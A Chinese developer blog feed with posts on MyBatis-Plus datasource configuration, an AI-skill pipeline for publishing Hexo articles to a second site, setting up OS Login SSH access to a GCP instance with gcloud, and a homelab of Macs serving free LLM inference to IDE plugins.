配合一个技巧：不要手动配置 driver-class-name。MyBatis-Plus 能根据 JDBC URL 自动推断驱动类——jdbc:postgresql:// 推断出 org.postgresql.Driver，jdbc:mysql:// 推断出 com.mysql.cj.jdbc.Driver。删掉显式配置之后，切换数据库不需要改任何配置文件。

spring:
  datasource:
    type: com.alibaba.druid.pool.DruidDataSource
    druid:
      # driver-class-name 不要配，让 MyBatis-Plus 自动推断
      username: ${dbUser}
      password: ${dbPwd}
      url: jdbc:postgresql://${dbAddr}/database_name?currentSchema=public

下一篇写什么

这篇是配置管理在架构迁移层面的内容。下一篇是整个迁移过程中最出乎我意料的一个发现——验证码组件的安全漏洞。不是代码写错了，而是设计逻辑本身有安全隐患：重放攻击、用户名枚举、DoS 攻击，以及一个因为 token 获取错误导致缓存机制完全失效的隐蔽 bug。这些漏洞没有一个是通过自动化测试发现的——全是我手动构造请求探测出来的。

使用 Skill 优化我的博客发布流程

Mon, 27 Apr 2026 00:00:00 GMT

前言

这篇我想聊一下最近折腾博客发布流程的过程。

不是那种“我写了一个脚本，所以效率提升了”的记录，而是从一个很实际的问题开始：我发现自己写文章的时间还好，发布文章反而越来越烦。

我的博客主站是 Hexo，另外还有一个 dev-site。文章写完之后，并不是点一下发布就结束了。我要补 front matter、生成列表页封面、处理正文头图、同步到 dev-site、转换图片、检查路径、跑构建。每一步都不难，但每一步都容易漏。

一开始我想的是：那就写脚本吧。后来发现，脚本只能解决一部分问题。再后来我开始把 AI 加进来，让它不只是“帮我写正文”，而是参与整个发布流程。最后这套东西慢慢固化成几个 skill，再用一个总控 skill 串起来。

这篇文章就按这个脉络写：我遇到了什么痛点，中间尝试过哪些方案，为什么最后会变成多个 skill 协作，以及这套流程最后带来了什么收益。

痛点：发布文章比写文章还容易出错

先说我原来的发布方式。

一篇文章写完后，我通常会按这个顺序处理：

手动补 front matter：title、abbrlink、description、keywords、tags、categories、cover；
手动检查正文第一张图，占位图要替换，路径要改；
手动把文章同步到 dev-site，对齐两边 front matter；
手动复制文章资源目录，顺便处理图片格式；
本地构建，看到报错再回去补洞。

这些步骤本身没有什么技术含量，但它有两个很烦的特点。

第一个是碎。

每个动作都只占一两分钟，但它们散在不同地方：Markdown 文件、文章资源目录、Hexo 配置、dev-site 内容目录、构建命令。有时候写完文章已经很晚了，脑子里想的是“赶紧发布”，结果越赶越容易漏。

第二个是依赖记忆。

我自己经常遇到这些情况：

cover 写了，但不是 cover-generator 的标准 URL；
random-pic-api 还留在正文里，忘了替换；
dev-site 同步时 banner 没跟着走本地图片；
图片还是 .svg、.png，到 Astro 侧才发现元数据或路径问题；
都改完了，回头一看 front matter 又漏了一个字段。

这种错误最烦的地方不是难修，而是很低级。你知道它不应该发生，但只要流程还靠人脑记，就一定会发生。

所以真正浪费时间的不是写文章，而是发布前这段机械劳动。

第一轮尝试：用脚本减少重复劳动

最早我想得很简单：既然重复，那就脚本化。

比如：

批量补缺失的 cover；
把某些图片统一转成 WebP；
复制文章资源目录；
把 Hexo front matter 转成 dev-site front matter；
构建前跑一轮检查。

脚本确实解决了一部分问题，尤其是那些输入输出非常确定的动作。比如“把 SVG 转成 WebP”、“把文件复制到另一个目录”、“把日期格式从 YYYY-MM-DD HH:mm:ss 转成 YYYY-MM-DD”，这类任务脚本很合适。

但我很快发现，发布流程里还有很多事情不是纯粹的字符串替换。

比如正文头图。它不是随便找一张图就行，而是要理解文章主题，再生成一张风格合适的图。再比如 description 和 ai 摘要，它们也不是从标题里截几个关键词就能解决。还有分类和标签，它们需要贴合文章语义，但又不能乱造新分类。

这些事情脚本能做，但会越来越别扭。你要么写一堆规则，最后变成一个难维护的规则引擎；要么把很多判断留给自己，脚本只做半截自动化。

这就是我后来引入 AI 的原因。

第二轮尝试：让 AI 参与发布，而不只是写正文

以前我用 AI，更多是让它帮我润色、整理提纲、补一段说明。后来我意识到，AI 更适合接管发布流程里那些“需要理解上下文，但又有明确输出格式”的工作。

博客发布正好符合这个特征。

它不是让 AI 自由发挥，而是让 AI 在一组约束里做事：

读文章内容，补合理的摘要和关键词；
根据标题生成符合规则的 cover URL；
根据正文生成头图提示词；
判断哪些字段该同步到 dev-site，哪些字段不该带过去；
在转换正文时避开代码块，不要误改 Shell 里的 [[ ... ]]；
最后跑构建，确认流程没有破坏站点。

但是这里也有一个坑：如果只写一句“帮我发布这篇文章”，AI 会把很多职责混在一起。今天改 front matter，顺手生成图；明天同步 dev-site，又顺手改 Hexo 正文。短期看很方便，长期就会变成另一个版本的“靠记忆发布”。

所以我没有把它做成一个巨大的 prompt，而是把发布流程拆成多个 skill。

为什么要拆成多个 Skill

我现在的发布流程拆成三段：

先处理 Hexo front matter 和 cover；
再生成正文头图；
最后同步到 dev-site，并优先用正文头图做 banner。

对应的 skill 是：

hexo-frontmatter-prepare
hexo-body-cover-generate
hexo-devsite-sync

这个拆法其实跟写代码很像。

你不会把所有逻辑都塞进一个 2000 行的函数里，而是先拆出基础工具类：一个类负责解析配置，一个类负责处理图片，一个类负责同步数据。它们各自可以独立测试，也可以被别的业务复用。

然后再写一个业务服务，把这些基础能力按顺序编排起来，对外提供一个完整动作。

我的这几个 skill 也是这个关系：

阶段	输入	输出	不做什么
front matter 准备	一篇 Hexo Markdown	合法元数据 + 线上 `cover`	不生成正文图，不碰 dev-site
正文头图生成	同一篇 Markdown + 正文内容	本地 `cover.webp` + 正文引用替换 + 提示词记录	不改 front matter `cover`
dev-site 同步	已处理过的 Hexo 文章	dev-site 文章 + `banner` + 资源目录	不反向改 Hexo 写作规则

这样拆有几个好处：

每个 skill 的上下文更小，AI 不容易跑偏；
每个 skill 的输出契约更明确，后续流程可以依赖；
单独某一步失败时，能立刻知道问题在哪；
以后只想重做正文头图，不需要重新跑 dev-site 同步；
新增目标站点时，可以复用前两段，只换同步阶段。

我现在越来越觉得，自动化流程最怕的不是步骤多，而是边界混在一起。只要边界混了，AI 越“聪明”，后面越难排查。

Skill 1：先把 front matter 变成稳定入口

第一个 skill 解决的是文章元数据问题。

在 Hexo 里，front matter 是很多功能的入口。分类、标签、摘要、封面、链接、时间都在这里。这里如果不稳定，后面所有自动化都会被拖累。

所以 hexo-frontmatter-prepare 只做一件事：把 Hexo front matter 补全，并把 cover 规范成可直接渲染的线上地址。

我现在固定用 cover-generator 这个开源项目来生成封面 URL。它的好处很直接：

风格统一，不用每篇单独找图；
参数化，标题变了可以重生一版；
对 Hexo 来说就是一个普通图片 URL，不改主题逻辑。

在这段里，skill 会完成：

检查并补齐 title、abbrlink、date；
根据正文补 description、keywords、ai；
从白名单里选择分类和标签；
生成或修正 cover-generator URL；
保持 YAML 可解析，避免后续构建时炸 front matter。

这里我特意把 cover 定义成「列表页封面」，而不是「文章正文头图」。这个区别非常重要。

Hexo 主题里的 cover 通常会出现在首页卡片、归档列表、相关文章推荐、Open Graph 图片等位置。它更像一个站点级展示字段，适合用一个稳定的远程 URL。正文头图则是文章内容资产，应该跟文章放在一起，方便迁移和版本管理。

所以这一段的契约非常简单：

Markdown front matter
  -> title / date / tags / categories / description / keywords / ai 补齐
  -> cover 写成 cover-generator 的远程 PNG URL
  -> 正文保持不动

我还加了几个约束，防止自动化越跑越散：

分类只能从站内白名单里选一个，不让每篇文章临时造分类；
标签控制在 1 到 5 个，不把所有关键词都塞进 tags；
cover URL 必须 URL 编码，中文标题不能裸奔；
cover 只写线上 PNG，不在这一步创建本地图片；
不为了校验 URL 去请求线上 API，避免发布流程被网络抖动打断。

这些规则看着琐碎，但它们解决的是同一个问题：front matter 必须变成一个可预测的结构化入口，而不是一堆靠记忆维护的字段。

这一段完成之后，我至少能确认：这篇文章已经是一个合法的 Hexo 文章，列表页封面也有了。后面再生成正文头图、同步 dev-site，都不用回头猜元数据。

Skill 2：正文头图单独处理，而不是混进 cover

这段是我体感提升最大的部分。

我以前会在文首留一个占位：

![random-pic-api](https://api.dong4j.site/pc?spm={{spm}})

发文前要么手工找图，要么临时生成，再自己改引用路径。现在这段交给 skill 跑：

基于文章内容生成正文头图；
输出到文章同名目录的 cover.webp；
自动把 random-pic-api 替换为本地相对路径；
保留提示词，方便后续重绘或风格统一。

结果是两件事同时解决：

正文第一屏不再是随机占位图；
图片资产和文章绑定在一起，迁移、同步都更稳。

这里最关键的设计是：我没有让 skill 去「猜」正文里哪张图是头图，而是只识别一个固定占位符：

![random-pic-api](https://api.dong4j.site/pc?spm={{spm}})

这个占位符有点像一个发布前 TODO。写草稿时它可以先占住文首位置，真正发布时再由 skill 替换成本地图片：

![cover](./article-slug/cover.webp)

最终文件结构大概是这样：

source/_posts/2026/article-slug.md
source/_posts/2026/article-slug/cover.webp
source/_posts/2026/article-slug/prompts/01-cover-article-slug.md

我这里还做了一个看似多余、实际很有用的动作：保存提示词。

AI 生成图片很容易变成一次性操作。今天生成一张图看着不错，过两个月想换风格、换模型、统一全站视觉时，才发现只剩一张结果图，完全不知道当初是怎么来的。提示词单独落盘之后，正文头图就不再是不可追溯的「魔法产物」，而是一个可以重新生成的构建结果。

这段还有一个硬边界：不修改 front matter 里的 cover。

原因很简单，cover 是 Hexo 主题展示字段，正文头图是文章内容字段。两个字段可以来自同一个标题，也可以视觉风格接近，但不能互相覆盖。否则后面同步 dev-site 时，你很快就会分不清某张图到底是给首页卡片看的，还是给文章详情页看的。

如果正文里没有固定占位符，我的策略也不是自动插入，而是停止并提示。因为「要不要在文首放图」本身是写作决策，不应该由工具悄悄替作者决定。

Skill 3：同步 dev-site，本质是内容模型转换

第三段我不再把它当「复制文章」，而是「内容模型转换」。

Hexo 和 dev-site 的 front matter 不同，这里必须按目标站 schema 输出。现在的规则很清楚：

主体内容从 Hexo 转过去；
字段做映射，不硬搬无关字段；
banner 优先使用正文头图 cover.webp；
如果是图片资源，顺便做必要转换（比如统一到 webp）；
同步后跑构建验证，确保 dev-site 可发布。

也就是说，我不需要再手动决定「banner 用哪张图」。只要第二段有产出，第三段就直接复用正文头图，视觉和内容保持一致。

这里最容易踩坑的是把同步理解成复制。实际上我现在把它当成一次 schema 转换。

Hexo 文章里的 front matter 是给 Hexo 主题和插件看的，dev-site 的 front matter 是给 Astro 内容集合看的。两个站点字段看起来相似，但语义不完全一样：

Hexo 字段	dev-site 字段	说明
`title`	`title`	直接映射
`description`	`description`	直接映射
`date`	`pubDate`	转成 dev-site 需要的日期格式
`categories[0]`	`category`	映射成 dev-site 分类 slug
`tags`	`tags`	直接映射
正文头图 `cover.webp`	`banner`	复制到 dev-site 资源目录后写成本地路径
`cover`	fallback banner	只在单独同步且没有正文头图时兜底
`abbrlink` / `ai` / `keywords`	不携带	目标站点不需要就不硬塞

正文也要做转换。比如 Hexo 里开头的 referrer meta、随机图占位符、已经被 banner 复用的正文头图，在 dev-site 里都应该移除。否则详情页顶部会先渲染一个 banner，正文第一屏又出现同一张图，视觉上很重复。

资源同步也不是全量复制。我会复制文章本地资源，但跳过 prompts/。提示词对源码维护有价值，对公开站点没有价值，没必要发布出去。

完整流水线里，我要求 dev-site 同步必须优先使用第二段生成的 cover.webp。如果没有这张图，就说明正文头图阶段没有完成，此时应该失败并报告，而不是悄悄退回到 Hexo cover。

但如果我单独运行 dev-site 同步，用来迁移一些历史文章，没有本地 cover.webp 也可以接受 fallback。区别在于最终报告里必须说明：这篇文章的 banner 用的是远程 cover，不是本地正文头图。

这就是我现在给自动化流程定的一条原则：完整流水线要严格，独立工具可以兜底，但兜底必须说出来。

为什么还要一个总控 Skill

做到这里，其实三个 skill 已经能独立解决问题了。

但如果每次发布都要我手动记住顺序：

先跑 hexo-frontmatter-prepare；
再跑 hexo-body-cover-generate；
最后跑 hexo-devsite-sync；
同步后再构建；
最后再看结果。

那它还是有一点“半自动”。我只是把原来手动操作的步骤换成了手动调用 skill。

所以我又加了一个总控 skill：hexo-publish-pipeline。

它本身不负责具体细节，而是负责编排。

这就像代码里的业务服务层。底下已经有了几个基础工具类：

FrontmatterService 负责元数据；
CoverImageService 负责正文头图；
DevSiteSyncService 负责同步转换。

那业务层就可以封装一个 publishPost()：

publishPost(article)
  -> prepareFrontmatter(article)
  -> generateBodyCover(article)
  -> syncToDevSite(article)
  -> runBuildCheck()
  -> reportResult()

总控 skill 的好处是：

固定执行顺序，不靠我临时记；
统一检查每一步的输出是否满足下一步输入；
完整流水线里可以采用更严格的失败策略；
最终汇总 Hexo 和 dev-site 的改动；
以后流程增加新步骤，只需要改编排层，不必改每个基础 skill。

举个例子，单独运行 dev-site 同步时，缺少本地 cover.webp 可以 fallback 到 Hexo cover。但在完整发布流水线里，第二步本来就应该生成 cover.webp，如果第三步没看到这张图，就必须报错。

这个规则就应该放在总控 skill 里。因为它不是某个基础能力的规则，而是整个业务流程的规则。

现在的完整工作流

改造后，我的发布动作变成了：

在 Hexo 写完文章内容；
触发总控 skill；
检查结果并发布。

剩下这些重复任务基本都自动完成：

front matter 生成与修正；
cover 生成（cover-generator）；
random-pic-api 替换；
正文头图本地化；
dev-site 同步；
banner 复用正文头图；
图片转换与兼容性处理。

以前这套流程至少半小时。现在稳定在 5 分钟左右，差不多是一个数量级的提升。

这不是「快一点」的问题，而是「发布心智负担」被砍掉了。以前每次发布都像做检查清单，现在我只需要把文章写好，流程自己把剩下的脏活干完。

现在一篇文章从写完到可发布，大概是这个状态流：

草稿完成
  -> front matter 检查通过
  -> Hexo cover 就绪
  -> 正文头图生成并替换
  -> dev-site 内容转换完成
  -> dev-site build 通过
  -> 人工确认 commit / push / deploy

最后一步我仍然保留人工确认。自动化可以帮我做重复动作，但不应该默认替我发布。尤其是文章这种内容资产，构建通过不代表表达就没问题，发布前还是应该有一次人眼确认。

这套流程带来的收益

这次优化对我最大的收益，不只是省了时间。

时间当然省了。以前一篇文章发布前至少要折腾二三十分钟，现在大部分情况几分钟就能完成。

但更重要的是确定性。

以前我每次发布都在心里过一遍 checklist：cover 生成了吗？正文头图换了吗？dev-site banner 对了吗？图片复制了吗？构建跑了吗？

现在这些问题变成了流程的一部分：

front matter 不完整，第一段就会处理；
正文占位图没替换，第二段会处理或报错；
dev-site 字段不匹配，第三段会转换；
构建失败，流程最后会暴露出来；
哪一步使用了 fallback，最终报告会说清楚。

第二个收益是可维护。

如果哪天我想换正文头图生成模型，只需要改 hexo-body-cover-generate。如果我想把 dev-site 从 Astro 换成别的框架，主要改 hexo-devsite-sync。如果我想给发布流程加一个“自动生成社交媒体摘要”的步骤，就在总控 skill 里多插一段。

这比写一个超级大脚本舒服很多。

这套思路怎么迁移到别人的博客

如果你不是 Hexo，也不是 Astro，其实也能照着这个思路拆。

先别急着写脚本，先把三个问题回答清楚：

当前站点的列表封面字段是什么？
正文头图是否应该成为文章本地资源？
目标站点或目标渠道需要什么内容模型？

比如你用的是 VitePress，列表封面可能只是 front matter 里的 image；你用的是 Next.js + MDX，可能需要 ogImage 和 heroImage 分开；你同步到公众号、语雀、Notion，可能根本没有 banner，只有正文第一张图。

工具不同没关系，边界可以照搬：

当前站点元数据
  -> 当前站点可消费的封面字段

正文内容资产
  -> 本地图片 + 可追溯生成记录

目标渠道同步
  -> 目标 schema + 资源转换 + 构建/预览验证

真正值得复制的是这件事：不要让一个字段承担太多职责，也不要让一个脚本同时决定所有上下游细节。

最后的结论

回头看这次优化，路径其实很自然：

一开始是手工发布太碎，靠记忆容易漏；然后我尝试用脚本解决确定性动作；再后来发现脚本不适合处理语义判断，于是把 AI 引入发布流程；最后为了让 AI 不乱跑，又把流程拆成多个职责单一的 skill，并用一个总控 skill 编排。

这次最关键的，不是某个工具多强，而是职责边界终于清楚了：

cover 归 cover；
正文头图归正文；
banner 在同步阶段决定，并优先复用正文头图。

把这三件事拆开后，skill 才真正能自动化，而不是把手工步骤换个壳再跑一遍。

对我来说，这是一次质变：从「写文 + 手工运维」变成「写文 + 自动发布」。

更准确地说，是从「靠记忆发布」变成「靠契约发布」。只要契约稳定，后面不管是换图片生成模型、换静态站框架，还是再同步一个新站点，都不需要推翻整套流程。

使用本地 SSH Key 登录 GCP Compute Engine 实例

Sat, 25 Apr 2026 00:00:00 GMT

前言

因为现在的机场都不太稳定，而且还有 IP 污染这个坑，最近我在用 Claude Code 和 Codex 的时候总觉得有封号风险。折腾来折腾去，我索性在 GCP 买了一台虚拟机，准备自己搭个节点玩玩儿。

这篇记录就是我在 macOS 上配置 GCP 实例 SSH 登录时走的一遍完整流程，目标很简单：不依赖临时密钥，直接用本地固定私钥登录 Compute Engine。

为了方便后面复用，我把关键命令和排查点都整理到一篇里，照着走基本可以一次打通。

环境信息

项目	值
GCP Project ID	`<your-gcp-project-id>`
Zone	`us-west1-b`
Instance Name	`<your-instance-name>`
External IP	`<your-instance-external-ip>`
本地公钥	`~/.ssh/dev/gcp.pub`
本地私钥	`~/.ssh/dev/gcp`
Google 账号	`<your-google-account-email>`
OS Login 用户名	`<your-os-login-username>`

安装并初始化 gcloud

1) 安装 Google Cloud CLI

brew install --cask google-cloud-sdk

安装后检查版本：

gcloud --version

如果提示找不到 gcloud，先重新加载 shell 配置：

source ~/.zshrc

还不行的话，手动加载 SDK 路径：

source "$(brew --prefix)/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/path.zsh.inc"
source "$(brew --prefix)/Caskroom/google-cloud-sdk/latest/google-cloud-sdk/completion.zsh.inc"

2) 初始化 gcloud

gcloud init

初始化时我选择了已有项目：

Pick cloud project to use:
 [1] <your-gcp-project-id>
 [2] gen-lang-client-0876271165
 [3] lunar-mission-483702-a8
 [4] Enter a project ID
 [5] Create a new project
Please enter numeric choice or text value: 1

也可以手动设置默认项目和区域：

gcloud config set project <your-gcp-project-id>
gcloud config set compute/region us-west1
gcloud config set compute/zone us-west1-b
gcloud config list

gcloud compute os-login ssh-keys add \
  --key-file=~/.ssh/dev/gcp.pub

成功后会看到类似输出：

loginProfile:
  name: '<your-google-user-id>'
  posixAccounts:
    - accountId: <your-gcp-project-id>
      gid: '<your-posix-id>'
      homeDirectory: /home/<your-os-login-username>
      name: users/<your-google-account-email>/projects/<your-gcp-project-id>
      operatingSystemType: LINUX
      primary: true
      uid: '<your-posix-id>'
      username: <your-os-login-username>

这里最关键的是 username，后面 SSH 登录时要用它作为 Linux 用户名。

2) 查看实例信息

gcloud compute instances list

示例输出：

NAME                      ZONE        MACHINE_TYPE  PREEMPTIBLE  INTERNAL_IP  EXTERNAL_IP      STATUS
<your-instance-name>  us-west1-b  e2-micro                   <your-instance-internal-ip>   <your-instance-external-ip>  RUNNING

1) 检查实例 metadata

gcloud compute instances describe <your-instance-name> \
  --zone=us-west1-b \
  --format="get(metadata.items)"

如果只看到 ssh-keys，但没有 enable-oslogin=TRUE，就需要开启 OS Login。

gcloud compute project-info add-metadata \
  --metadata enable-oslogin=TRUE \
  --project=<your-gcp-project-id>

检查是否生效：

gcloud compute project-info describe \
  --project=<your-gcp-project-id> \
  --format="flattened(commonInstanceMetadata.items[])"

确认输出里存在：

enable-oslogin: TRUE

普通登录权限：

gcloud projects add-iam-policy-binding <your-gcp-project-id> \
  --member="user:<your-google-account-email>" \
  --role="roles/compute.osLogin"

需要 sudo 时用管理员权限（我这次用的是这个）：

gcloud projects add-iam-policy-binding <your-gcp-project-id> \
  --member="user:<your-google-account-email>" \
  --role="roles/compute.osAdminLogin"

本地 SSH 配置

编辑 ~/.ssh/config：

vim ~/.ssh/config

添加以下配置：

Host gcp
    HostName <your-instance-external-ip>
    User <your-os-login-username>
    Port 22
    IdentityFile ~/.ssh/dev/gcp
    IdentitiesOnly yes
    PreferredAuthentications publickey

字段说明：

配置项	说明
`Host gcp`	本地 SSH 别名
`HostName`	GCP 实例外网 IP
`User`	OS Login 返回的 Linux 用户名
`Port`	SSH 端口，默认 `22`
`IdentityFile`	本地私钥路径
`IdentitiesOnly yes`	强制只使用指定私钥
`PreferredAuthentications publickey`	优先公钥认证

私钥权限建议一起收紧：

chmod 700 ~/.ssh
chmod 700 ~/.ssh/dev
chmod 600 ~/.ssh/dev/gcp
chmod 644 ~/.ssh/dev/gcp.pub

登录与验证

直接登录：

ssh gcp

等价命令：

ssh -i ~/.ssh/dev/gcp \
  -o IdentitiesOnly=yes \
  <your-os-login-username>@<your-instance-external-ip>

登录后验证当前用户：

whoami

预期输出：

<your-os-login-username>

如果想做对照测试，也可以先用：

gcloud compute ssh <your-instance-name> \
  --zone=us-west1-b \
  --project=<your-gcp-project-id>

常见报错排查

`Permission denied (publickey)`

错误示例：

<your-os-login-username>@<your-instance-external-ip>: Permission denied (publickey).

按这个顺序检查最省时间：

确认私钥公钥是一对：
```
ssh-keygen -y -f ~/.ssh/dev/gcp
```
确认 SSH 真的用了目标私钥：
```
ssh -vvv gcp
```
日志里应出现：
```
Offering public key: ~/.ssh/dev/gcp
```

确认 OS Login 已开启：

gcloud compute project-info describe \
  --project=<your-gcp-project-id> \
  --format="flattened(commonInstanceMetadata.items[])"

确认 IAM 角色已授予：

gcloud projects get-iam-policy <your-gcp-project-id> \
  --flatten="bindings[].members" \
  --filter="bindings.members:user:<your-google-account-email>" \
  --format="table(bindings.role)"

至少应包含其一：

roles/compute.osLogin
roles/compute.osAdminLogin

命令汇总

# 1. 安装 Google Cloud CLI
brew install --cask google-cloud-sdk

# 2. 初始化 gcloud
gcloud init

# 3. 设置默认项目和区域
gcloud config set project <your-gcp-project-id>
gcloud config set compute/region us-west1
gcloud config set compute/zone us-west1-b

# 4. 添加 SSH 公钥到 OS Login
gcloud compute os-login ssh-keys add \
  --key-file=~/.ssh/dev/gcp.pub

# 5. 查看实例
gcloud compute instances list

# 6. 启用项目级 OS Login
gcloud compute project-info add-metadata \
  --metadata enable-oslogin=TRUE \
  --project=<your-gcp-project-id>

# 7. 添加 OS Login 管理员权限
gcloud projects add-iam-policy-binding <your-gcp-project-id> \
  --member="user:<your-google-account-email>" \
  --role="roles/compute.osAdminLogin"

# 8. 设置 SSH 私钥权限
chmod 700 ~/.ssh
chmod 700 ~/.ssh/dev
chmod 600 ~/.ssh/dev/gcp
chmod 644 ~/.ssh/dev/gcp.pub

# 9. 登录实例
ssh gcp

排查费用组合

echo "== Project Billing =="
gcloud billing projects describe <your-gcp-project-id>

echo "\n== Running Instances =="
gcloud compute instances list --filter="status=RUNNING"

echo "\n== Disks =="
gcloud compute disks list

echo "\n== Static IP Addresses =="
gcloud compute addresses list

echo "\n== Snapshots =="
gcloud compute snapshots list

echo "\n== Firewall Rules =="
gcloud compute firewall-rules list

被内存条逼出来的 Homelab：3 台 Mac 撑起 IntelliAI Engine 的免费大模型服务

Sat, 18 Apr 2026 00:00:00 GMT

缘起：一根涨价的内存条

前段时间 DDR 内存又开始涨价。不是那种温吞吞的 5%、10%，是肉眼可见的”今天不买，明天再贵 15%“的涨法。我盯着家里那台常年挂在客厅角落的 x86 服务器看了一会儿：48G 内存、二手 Intel U、跑着几个不痛不痒的小服务，功耗一天十几度电。

算了下账：

这台服务器里的内存、硬盘、平台，按现在的行情出掉正好能贴一台 Mac Studio M2 Ultra 的钱；
一台 Mac Studio 的待机功耗不到原服务器的三分之一；
更关键的是，M2 Ultra 能跑 32B / 70B 的大模型，我那台 x86 不行。

于是冲动下单了。拆机、清灰、寄出、到款、拿新机，全流程一周搞定。

拆完之后盘点了一下现状，家里现在一共有 3 台 Mac：

机器	用途	大致算力
Mac Studio M2 Ultra（新到）	主力推理	24 核 GPU，70B 级别量化模型能流畅跑
Mac mini M4 Pro	常驻开发 + 备用推理	7B–32B 小模型毫无压力
Mac mini M2	跑各种乱七八糟的小服务	3B–7B 够用

三台里面总有两台处于闲置状态，24 小时开机又不忙。于是就冒出了这篇文章要讲的事：

既然闲着也是闲着，不如把这堆算力串起来，跑点小模型，免费给 IntelliAI 相关插件的用户用。

这就是 FreeAI 服务的由来，也是 IntelliAI Engine 里那个默认 Provider 的来历。

整体架构：Homelab 安全区 + 公网代理 + 插件客户端

先看一张简化版的架构图。实时可视化大屏可以在插件主页点「Engine Monitor」看到，URL 是 https://zekastack.dong4j.site/#/plugins/engine/monitor。

┌────────────────┐        ┌─────────────┐        ┌──────────────────────────────────────────┐
│  Zeka Engine   │  →→→   │ Public Cloud│  →→→   │           Homelab :: Secure Zone         │
│ (IDEA Plugin)  │        │   入口节点    │        │                                          │
└────────────────┘        └─────────────┘        │  ┌────────────┐   ┌────────────────────┐  │
                                                 │  │  AI Proxy  │ → │ Mac Studio M2 Ultra│  │
                                                 │  │  (Gateway) │   │  CC / LM / Ollama  │  │
                                                 │  └────────────┘   └────────────────────┘  │
                                                 │        ↓          ┌────────────────────┐  │
                                                 │                   │ Mac mini M4 Pro    │  │
                                                 │                   │  CC / LM / Ollama  │  │
                                                 │                   └────────────────────┘  │
                                                 │                   ┌────────────────────┐  │
                                                 │                   │ Mac mini M2        │  │
                                                 │                   │  Ollama            │  │
                                                 │                   └────────────────────┘  │
                                                 │                   ┌────────────────────┐  │
                                                 │                   │ Free API (Docker)  │  │
                                                 │                   └────────────────────┘  │
                                                 └──────────────────────────────────────────┘

拆解一下这几层：

插件端（Zeka Engine）：IDE 里的入口，统一管理 Provider、API Key、上下文、流式响应。上层插件（Javadoc、Changelog、Terminal、Tracer、Repairer、Swagger、Nacos）都经由它调用模型。
公网入口（Public Cloud）：只暴露一个域名，做 TLS 卸载、基础鉴权、限流。API Key 绑定到 deviceId，防止被批量盗刷。
家里的代理（AI Proxy / Gateway）：路由、负载均衡、模型路径映射。它知道 studio/ollama/glm-4.7 应该打到 Mac Studio 上的 Ollama，而 studio/lm/glm-4.7 要打到 LM Studio。
算力层（Compute）：三台 Mac 一台容器。每台机器上都装了 Ollama 和 LM Studio，部分机器还挂了 CC Proxy，用来做 Claude Code 相关的转发。

这样拆的好处有三个：

公网只暴露一个入口，家里 NAT 后面的机器完全不对外，安全边界清晰；
单机出问题可以按机器级别摘除，不影响整体可用性；
对外 API 始终是一个稳定的 OpenAI 兼容协议，模型路径只是 string，可以随时切换后端。

实时运行状态可以在监控大屏看到，每 5 秒刷新一次，每个节点都有一条 40 点的可用性时间轴。一眼就能看出某台机器是不是又卡死了（你懂的，Ollama 偶尔会）。

完整架构图

能做什么：插件矩阵与默认 Provider

消费侧：Zeka Engine 生态插件

IntelliAI Engine 本身是基础设施，真正好玩的是跑在它上面的这几个插件：

IntelliAI Javadoc：选中类/方法，一键生成符合项目规范的 Javadoc
IntelliAI Changelog：分析 git 提交差异，自动生成 commit / release note
IntelliAI Terminal：终端 AI 助手，自然语言生成命令
IntelliAI Tracer：调用链 / 数据流分析可视化
IntelliAI Repairer：按 Checkstyle / SonarLint 规则自动修 Bug
IntelliAI Swagger：基于接口定义自动补 Swagger 注解
IntelliAI Nacos：在 IDEA 里操作 Nacos 配置，支持 AI 解释配置项含义

它们共用 Engine 里的同一份 Provider 配置，配一次，全线打通。

提供侧：FreeAI 默认配置

懒得配 Key 的话，直接选 FreeAI 就可以用：

配置项	值
AI 服务商	`FreeAI`
Base URL	`https://zekastack.dong4j.site/freeai/v1`
协议	OpenAI 兼容
默认模型	`studio/ollama/glm-4.7`、`studio/lm/glm-4.7`
Key 来源	本站登录后自动分配

目前跑的主力是 GLM-4.7 的量化版，后续会按机器负载和反馈调整模型清单。

自备 Key 也完全没问题

FreeAI 不是唯一选项，IntelliAI Engine 同时支持：

OpenAI 兼容阵营：OpenAI、DeepSeek、Moonshot、Qwen、SiliconFlow、OpenRouter、HuggingFace、NVIDIA
Anthropic 阵营：Claude 3.5 Sonnet / 3 Opus / 3 Haiku、Bedrock、Vertex AI
本地 & 私有：Ollama、LM Studio、LocalAI、vLLM、GPT4All

插件里会按分组展示，选谁看心情和钱包。

快速接入：4 步走

下面是最关键的部分，怎么把 FreeAI 跑起来。全程 4 步，一两分钟就好。

Step 1. 从插件拿到你的 deviceId

打开 IDEA 设置，进入 Tools → IntelliAI Engine，展开「统计」区块：

这里的 Device ID 默认由硬件指纹生成，点「复制」按钮拷到剪贴板。

小贴士：换机器后想继承历史数据，可以手动把 deviceId 改成旧机器的，老账号的配额会跟着过来。

Step 2. 在本站用 deviceId 登录

浏览器打开 https://zekastack.dong4j.site/#/login：

把刚才复制的 deviceId 粘进输入框，点「使用 GitHub 登录」。第一次登录会走一遍 GitHub OAuth 授权，只申请 read:user 权限，读你的昵称和邮箱，不动你的仓库。

授权完成后会自动跳到账号设置页。

Step 3. 复制分配给你的 API Key

账号设置页会显示一串 FREEAI API Key：

点右侧小按钮复制。Key 有有效期，当前是 1 个月，过期后回这个页面重新取就行。

Step 4. 回插件填 Key，开始用

回到 IDEA 的 IntelliAI Engine 设置：

AI 服务商：下拉选 FreeAI
基础 URL：自动填好 https://zekastack.dong4j.site/freeai/v1，不用改
API Key：粘贴刚才复制的 Key
模型：先用默认的 studio/ollama/gpt-oss:20b 或 studio/ollama/glm-4.7 就行
点「刷新模型」拉取最新模型列表，再点「测试连接」，绿灯即成功

到这里就完事了。打开任意一份 Java 文件，Alt+Enter 或 Cmd+Shift+D 试一下 IntelliAI Javadoc，能看到模型返回就说明整条链路通了。

使用注意与常见问题

这个 Key 能不能拿去别的项目用？

不能。 为了控制免费算力的流量，zekastack.dong4j.site/freeai/v1 只开放给 IntelliAI Engine 插件使用。网关层会校验客户端特征，用 curl 直接打会被拦掉。

如果你想在自己的项目里用 Qwen / GLM：

用自己的阿里云 / 智谱 Key
或者在本地跑一份 Ollama / LM Studio，插件同样支持

deviceId 到底是干嘛的？

deviceId 是 Key 的绑定载体。一个 GitHub 账号 + 一个 deviceId 就是一组独立配额。好处有几个：

同一个人在两台机器上用，互不影响
可以手动指定 deviceId 把配额迁到新机器
出问题时，服务端能按 deviceId 精准定位到哪台机器异常

限流会限到什么程度？

目前策略偏宽松，基本够日常开发用：

每分钟请求数有上限，正常码字碰不到
达到上限时返回 429，插件会自动退避重试
